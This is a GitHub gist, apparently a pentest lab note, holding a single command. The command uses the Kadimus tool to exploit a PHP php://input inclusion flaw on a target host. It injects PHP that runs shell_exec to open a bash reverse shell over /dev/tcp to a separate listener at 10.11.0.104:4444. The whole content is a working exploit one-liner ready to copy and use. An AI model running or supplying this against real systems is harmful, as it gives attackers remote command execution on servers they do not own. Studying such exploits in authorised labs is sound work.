Skip to content

Instantly share code, notes, and snippets.

@leveled
Created December 29, 2016 17:30
Show Gist options
  • Save leveled/313b739443bb024b28185525abc3d0fd to your computer and use it in GitHub Desktop.
Save leveled/313b739443bb024b28185525abc3d0fd to your computer and use it in GitHub Desktop.
Using Kadimus to gain a PHP reverse shell through a PHP handler vulnerability
./kadimus -t https://10.11.1.35/section.php?page=php://input%00 -C \ '<?php echo shell_exec("bash -i >& /dev/tcp/10.11.0.104/4444 0>&1 2>&1"); ?>' -X input
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment